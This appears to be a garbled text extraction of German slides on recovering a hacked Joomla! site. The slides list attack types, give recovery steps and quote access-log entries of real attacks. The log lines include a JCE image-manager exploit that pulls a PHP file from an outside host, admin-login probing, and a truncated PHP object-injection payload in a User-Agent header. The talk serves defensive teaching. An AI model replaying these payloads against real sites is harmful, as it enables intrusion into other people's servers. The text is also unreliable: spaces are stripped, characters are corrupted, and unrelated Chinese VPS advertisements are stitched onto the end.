MickieQuick-https://www.
flickr.
com/photos/mickie/1174280743Joomla!
wurdegehackt!
WasmussichtunbermichChristianSchmidt32JahreJoomla!
UserGroupMünchen-GründerJoomla-Security.
de-GründerThemenArtenvonHacksVorgehensweiseHackfindenundbehebenZukünftigeAngriffeabwehrenOffeneFragenundAntwortrundeArtenvonHacksEirikSolheim-https://www.
flickr.
com/photos/eirikso/2217292002/UnzhligvieleArten:DDoS,RemoteCodeExecution,CrossSiteRequestForgrery,SocialEngineering,DNSCachePoisoning,Session&AuthenticationAttack,CrossSiteScripting,Defacemand,Injection,usw.
VorgehensweiseGrundstzlicheAnleitung:1.
WebsitevomNetznehmen2.
EinbruchuntersuchenundLückefinden3.
PasswrterndernundBackupwiederherstellen4.
Lückenschlieen,Seitewiederfreigeben5.
WebsitegegenAngriffeabsichernhttps://www.
joomla-security.
de/joomla-gehackt-was-tun.
htmlHackfindenundbehebenHackfindenundbehebenHackfindenundbehebenHackfindenundbeheben157.
55.
34.
x--[05/Jan/2014:20:15:03+0100]"GET/de/component/search/searchword=heizger\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc2\xa0\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\xa2\xe2\x80\x9e\xc2\xa2\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x82\xc2\xa0\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x82\xc2\xac\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xbe\xc3\x82\xc2\xa2\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x82\xc2\xac\xc3\x83\xe2\x80\xa6\xc3\x82\xc2\xa1\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x85\xc2\xa1\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x83\xe2\x80\x9a\xc3\x82\xc2\xa4teHTTP/1.
1"20081111www.
xxx.
de"-""Mozilla/5.
0(compatible;bingbot/2.
0;+http://www.
bing.
com/bingbot.
htm)""-"194.
150.
113.
x--[05/Jan/2014:21:00:40+0100]"GET/en/option=com_content&view=article&id=366&Itemid=452&sa=U&ei=kK3JUsWPE86T0QXKxYB4&ved=0CJkBEBYwGA&usg=AFQjCNHlFOPR682oWJYyC48XF93qq2HLtQ//index.
phpoption=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20src=http://ventaspor.
com/wp-includes/php/update.
phpHTTP/1.
1"20079814www.
xxx.
de"-""Mozilla/5.
0(WindowsNT5.
1)AppleWebKit/537.
22(KHTML,likeGecko)Chrome/25.
0.
1364.
160Safari/537.
22""-"95.
163.
75.
x--[05/Jan/2014:21:04:32+0100]"GET/administrator/index.
phpHTTP/1.
0"2004437xxx.
net"-""Opera/9.
80(WindowsNT6.
1;U;ru)Presto/2.
8.
131Version/11.
10""-"95.
163.
75.
x--[05/Jan/2014:21:04:33+0100]"POST/administrator/index.
phpHTTP/1.
0"200125xxx.
net"http://xxx.
net/administrator/index.
php""Opera/9.
80(WindowsNT6.
1;U;ru)Presto/2.
8.
131Version/11.
10""-"74.
3.
170.
33/CAN/Alberta74.
3.
170.
33––[12/Dec/2015:16:49:40-0500]"GET/contact/HTTP/1.
1"4035322"http://google.
com/""}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:.
.
{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:.
.
pacificrack又追加了3款特价便宜vps搞促销,而且是直接7折优惠(一次性),低至年付7.2美元。这是本月第3波便宜vps了。熟悉pacificrack的知道机房是QN的洛杉矶,接入1Gbps带宽,KVM虚拟,纯SSD RAID10,自带一个IPv4。官方网站:https://pacificrack.com支持PayPal、支付宝等方式付款7折秒杀优惠码:R3UWUYF01T内存CPUSS...
近期联通CUVIP的线路(AS4837线路)非常火热,妮妮云也推出了这类线路的套餐以及优惠,目前到国内优质线路排行大致如下:电信CN2 GIA>联通AS9929>联通AS4837>电信CN2 GT>普通线路,AS4837线路比起前两的优势就是带宽比较大,相对便宜一些,所以大家才能看到这个线路的带宽都非常高。妮妮云互联目前云服务器开放抽奖活动,每天开通前10台享3折优惠,另外...
稳爱云(www.wenaiyun.com)是创建于2021年的国人IDC商家,主要目前要出售香港VPS、香港独立服务器、美国高防VPS、美国CERA VPS 等目前在售VPS线路有三网CN2、CN2 GIA,该公司旗下产品均采用KVM虚拟化架构。机房采用业内口碑最好香港沙田机房,稳定,好用,数据安全。线路采用三网(电信,联通,移动)回程电信cn2、cn2 gia优质网络,延迟低,速度快。自行封装的...